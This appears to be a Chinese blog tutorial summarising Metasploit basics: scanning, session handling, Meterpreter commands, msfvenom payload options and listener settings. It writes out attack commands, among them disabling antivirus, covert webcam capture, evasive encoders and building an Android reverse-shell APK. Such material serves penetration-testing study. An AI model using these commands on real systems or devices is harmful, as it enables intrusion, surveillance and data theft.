当前位置:网站首页>MSF基础
MSF基础
2022-07-13 17:45:00 【曲折上升】
进入metasploit
msfdbinit:初始化数据库
msfconsole:启动
db_status:查看是否成功连接到数据库
workspace:当前工作区
workspace-h:帮助命令
内网主机发现
db_nmap:nmap扫描
-PA:TCPACKPING扫描
-PS:TCPSYNPING扫描
-PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。
hosts:当前工作区所有主机
端口、服务、版本探测
db_nmap:nmap扫描
-T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
-sS:TCPSYN扫描
-sA:TCPACK扫描
-sT:TCP扫描
-A:打开操作系统探测和版本探测。
信息收集
db_nmap:nmap扫描
–script=vuln:检查是否具有常见漏洞
background:将当前session挂起
sessions[-l]:列出当前所有的session
sessions[-i] id:进入某个session
参数:
showexploits– 查看所有可用的渗透攻击程序代码
showauxiliary – 查看所有可用的辅助攻击工具
[show]options/advanced– 查看该模块可用选项
showpayloads– 查看该模块适用的所有载荷代码
showtargets– 查看该模块适用的攻击目标类型
search– 根据关键字搜索某模块
info– 显示某模块的详细信息
use– 使用某渗透攻击模块
back– 回退
set/unset– 设置/禁用模块中的某个参数
setg/unsetg– 设置/禁用适用于所有模块的全局参数
save– 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
知识点:
Msf中创建木马时使用的LHOST表示的是攻击者地址;LPOST表示的是攻击者端口;RHOST表示的是被攻击地址;RPOST表示的是被攻击端口
Bind_tcp:表示正向连接,攻击者正向连接到被攻击者;
Reverse_tcp:表示反向连接,目标主机主动连接攻击机
Reverse_http:基于http的反向连接
Reverse_https: 基于https的反向连接
由shell转meterpreter
sessions -u id:将某个session转为meterpreter

Meterpreter
webcam_list:查看摄像头
webcam_snap:通过摄像头拍照
webcam_stream:通过摄像头开启视频

upload:上传文件在这里插入图片描述
meterpreter利用-执行&上传下载文件
execute:在目标机器执行文件创建新进程cmd.exe,-H不可见,-i交互upload:上传文件
meterpreter常用命令
meterpreter> background 放回后台
meterpreter> exit 关闭会话
meterpreter> help 帮助信息
meterpreter> sysinfo系统平台信息
meterpreter> screenshot 屏幕截取
meterpreter> shell 命令行shell (exit退出)
meterpreter>getlwd 查看本地目录
meterpreter> lcd 切换本地目录
meterpreter>getwd 查看目录
meterpreter> ls查看文件目录列表
meterpreter> cd 切换目录
meterpreter> rm 删除文件
meterpreter> downloadC:\1.txt1.txt下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传
文件
meterpreter> search-dc: -f *.doc 搜索文件
meterpreter> execute-f cmd.exe-i 执行程序/命令
meterpreter> ps 查看进程
meterpreter>getuid 查看当前用户权限
meterpreter> runkillav 关闭杀毒软件
meterpreter> rungetgui-e 启用远程桌面
meterpreter >portfwdadd-l 1234-p3389-r <目标IP>
端口转发
msfvenom基本参数
-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 指定操作系统
-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n:–nopsled,指定 nop在 payload中的数量
-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe
-e:–encoder,指定使用编码的encoder
X86/shikata_ga_nai最流行的编码,等级为excellent;
解码和编码过程都是随机生成的;cmd/powershell_base64也为excellent;
-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机
–platform:指定目标系统平台 linus windows ios 安卓
-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)
-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等
-i:–iterations,设置 Payload的编码次数
–smallest:尽可能生成最短的 Payload
-o:–out,保存 Payload到文件
-c:–add-code,指定一个附加的win32 shellcode文件
-x:–template,指定一个特定的可执行文件作为模板
-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行
advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSessionfalse
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5>exploit(multi/handler)>set SessionCommunicationTimeout0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关
msf5>exploit(multi/handler)>set SessionExpirationTimeout0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所有任务
msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:
Msf5>handler – H 192.168.114.130 -P 5449 windows/meterpreter/reverse_tcp
[] Payload handler running as background job 1.
[] Started reverse TCP handler on 192.168.24.146:5449
Set EnableStagrEncoding ture //对发送的atag流量进行加密,来对抗流量检测
Msf生成Android apk文件
Msfvenom -p android/meterpreter/reverse_tcp lhost=攻击者IP地址 lport=监听端口 R>test.apk
-p android/meterpreter/reverse_tcp:表示从Android设备返回一个反向连接的meterpreter通道;
R:直接输出(虽然android程序用java编写,但是不能使用-f java的形式生成)
.apk:最终输出为apk后缀的文件
边栏推荐
- Automatically generate a model (egg.js, which is generated by connecting with the database)
- Svelte official introductory tutorial (4) -- template logic
- Handsontable Pro authorization code key generator (JS function) (for learning and communication only)
- php对接支付宝Web支付-tp5.1框架
- BUUCTF 神秘龙卷风
- WP of the southwest division of the 15th National College Students Information Security Competition (ciscn) 2022
- admin 系统被嵌套在第三方系统中的跨域异常
- JS scope and scope chain
- 网络安全应急响应-常用工具
- Basic knowledge of network
猜你喜欢

微信支付退款 PHP

Buuctf webshell back door

Wechat payment refund PHP

JS scope and scope chain

El button display and disable
![[Huang ah code] teacher, I want to choose software development related majors after the college entrance examination. Which direction do you think is good? How to fill in the college entrance examinat](/img/e4/7cf5b7f896c1be5d349d660462b017.png)
[Huang ah code] teacher, I want to choose software development related majors after the college entrance examination. Which direction do you think is good? How to fill in the college entrance examinat

Network security emergency response malicious code analysis technology

Buuctf backdoor killing

Buuctf mysterious Tornado

js作用域与作用域链
随机推荐
欧拉Talk | 开发者社区体验坦白局7月14日19:30约起
:class修改样式
包管理工具
Network security emergency response - electronic data forensics technology
BUUCTF 荷兰宽带数据泄露
js解析引擎执行js代码的步骤
JS closing notes
[NCTF2019]Fake XML cookbook
网页右边没有滚动条,内容超出也看不到怎么办?
网络安全应急响应-电子数据取证技术
[Huang ah code] PHP cooperates with wechat official account to generate promotion QR code
ramda.js api 速查
Intranet penetration notes - Registry self startup and MSI rights lifting
Free CDN jsdelivr acceleration website
手摸手教学-利用原生POI对excel的导入导出以及阿里的easyexcel的基本操作
js 数字序号 转 字母序号
[Huang ah code] wechat applet +php realizes instant messaging chat function
网络通信安全部分笔记——OSPF理论及实验
内网渗透笔记——粘滞键与系统命令信息收集
单文件组件